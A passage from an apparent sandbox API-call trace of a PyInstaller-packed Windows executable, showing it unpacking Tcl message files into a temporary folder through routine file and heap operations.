CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.009] GetFileType (hFile=0x10c) returned 0x1 [0037.009] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.009] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.009] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.009] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.009] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.009] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.009] CloseHandle (hObject=0x10c) returned 1 [0037.009] GetLastError () returned 0x0 [0037.009] SetLastError (dwErrCode=0x0) [0037.009] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn.msg") returned 61 [0037.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\bn.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.010] GetLastError () returned 0x2 [0037.010] SetLastError (dwErrCode=0x2) [0037.010] GetLastError () returned 0x2 [0037.010] SetLastError (dwErrCode=0x2) [0037.010] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn.msg", lpFilePart=0x0) returned 0x3c [0037.010] GetLastError () returned 0x2 [0037.010] SetLastError (dwErrCode=0x2) [0037.010] GetLastError () returned 0x2 [0037.010] SetLastError (dwErrCode=0x2) [0037.010] GetLastError () returned 0x2 [0037.010] SetLastError (dwErrCode=0x2) [0037.010] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn.msg") returned 61 [0037.010] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.010] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\bn.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.011] GetFileType (hFile=0x10c) returned 0x1 [0037.011] htonl (hostlong=0xee080000) returned 0x8ee [0037.011] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.011] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x8ee, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x8ee, lpOverlapped=0x0) returned 1 [0037.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.012] CloseHandle (hObject=0x10c) returned 1 [0037.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.012] htonl (hostlong=0x30000000) returned 0x30 [0037.012] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.012] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.012] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.013] GetFileType (hFile=0x10c) returned 0x1 [0037.013] htonl (hostlong=0x22355700) returned 0x573522 [0037.013] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5be522, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.013] htonl (hostlong=0xa0000000) returned 0xa0 [0037.013] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa0) returned 0x55cfe0 [0037.013] htonl (hostlong=0xa0000000) returned 0xa0 [0037.013] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.013] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.013] htonl (hostlong=0x3010000) returned 0x103 [0037.013] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x103) returned 0x550600 [0037.013] htonl (hostlong=0xa0000000) returned 0xa0 [0037.013] htonl (hostlong=0x3010000) returned 0x103 [0037.013] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.013] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.013] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.013] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.013] CloseHandle (hObject=0x10c) returned 1 [0037.013] GetLastError () returned 0x0 [0037.013] SetLastError (dwErrCode=0x0) [0037.013] GetLastError () returned 0x0 [0037.013] SetLastError (dwErrCode=0x0) [0037.013] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.013] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.013] GetFileType (hFile=0x10c) returned 0x1 [0037.013] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.014] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.014] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.014] CloseHandle (hObject=0x10c) returned 1 [0037.014] GetLastError () returned 0x0 [0037.014] SetLastError (dwErrCode=0x0) [0037.014] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.014] GetFileType (hFile=0x10c) returned 0x1 [0037.014] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.014] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.014] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.014] CloseHandle (hObject=0x10c) returned 1 [0037.014] GetLastError () returned 0x0 [0037.015] SetLastError (dwErrCode=0x0) [0037.015] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn_in.msg") returned 64 [0037.015] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\bn_in.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.015] GetLastError () returned 0x2 [0037.015] SetLastError (dwErrCode=0x2) [0037.015] GetLastError () returned 0x2 [0037.015] SetLastError (dwErrCode=0x2) [0037.015] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn_in.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn_in.msg", lpFilePart=0x0) returned 0x3f [0037.015] GetLastError () returned 0x2 [0037.015] SetLastError (dwErrCode=0x2) [0037.015] GetLastError () returned 0x2 [0037.015] SetLastError (dwErrCode=0x2) [0037.015] GetLastError () returned 0x2 [0037.015] SetLastError (dwErrCode=0x2) [0037.015] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn_in.msg") returned 64 [0037.015] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.015] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\bn_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\bn_in.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.015] GetFileType (hFile=0x10c) returned 0x1 [0037.015] htonl (hostlong=0x3010000) returned 0x103 [0037.015] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.015] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x103, lpOverlapped=0x0) returned 1 [0037.016] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.016] CloseHandle (hObject=0x10c) returned 1 [0037.017] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.017] htonl (hostlong=0x30000000) returned 0x30 [0037.017] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.017] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.017] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.017] GetFileType (hFile=0x10c) returned 0x1 [0037.017] htonl (hostlong=0xc2355700) returned 0x5735c2 [0037.017] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5be5c2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.017] htonl (hostlong=0x5c010000) returned 0x15c [0037.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15c) returned 0x550600 [0037.017] htonl (hostlong=0x5c010000) returned 0x15c [0037.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.017] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.018] htonl (hostlong=0x4e040000) returned 0x44e [0037.018] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x44e) returned 0x550768 [0037.018] htonl (hostlong=0x5c010000) returned 0x15c [0037.018] htonl (hostlong=0x4e040000) returned 0x44e [0037.018] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.018] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.018] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.018] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.018] CloseHandle (hObject=0x10c) returned 1 [0037.018] GetLastError () returned 0x0 [0037.018] SetLastError (dwErrCode=0x0) [0037.018] GetLastError () returned 0x0 [0037.018] SetLastError (dwErrCode=0x0) [0037.018] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.018] GetFileType (hFile=0x10c) returned 0x1 [0037.018] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.018] CloseHandle (hObject=0x10c) returned 1 [0037.019] GetLastError () returned 0x0 [0037.019] SetLastError (dwErrCode=0x0) [0037.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.019] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.019] GetFileType (hFile=0x10c) returned 0x1 [0037.019] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.019] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.019] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.019] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.019] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.019] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.019] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.019] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.019] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.019] CloseHandle (hObject=0x10c) returned 1 [0037.019] GetLastError () returned 0x0 [0037.019] SetLastError (dwErrCode=0x0) [0037.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ca.msg") returned 61 [0037.019] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ca.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ca.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.019] GetLastError () returned 0x2 [0037.019] SetLastError (dwErrCode=0x2) [0037.019] GetLastError () returned 0x2 [0037.019] SetLastError (dwErrCode=0x2) [0037.019] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ca.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ca.msg", lpFilePart=0x0) returned 0x3c [0037.019] GetLastError () returned 0x2 [0037.020] SetLastError (dwErrCode=0x2) [0037.020] GetLastError () returned 0x2 [0037.020] SetLastError (dwErrCode=0x2) [0037.020] GetLastError () returned 0x2 [0037.020] SetLastError (dwErrCode=0x2) [0037.020] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ca.msg") returned 61 [0037.020] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.020] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ca.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ca.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.020] GetFileType (hFile=0x10c) returned 0x1 [0037.020] htonl (hostlong=0x4e040000) returned 0x44e [0037.020] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.020] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x44e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x44e, lpOverlapped=0x0) returned 1 [0037.021] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.021] CloseHandle (hObject=0x10c) returned 1 [0037.022] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550768 | out: hHeap=0x530000) returned 1 [0037.022] htonl (hostlong=0x30000000) returned 0x30 [0037.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 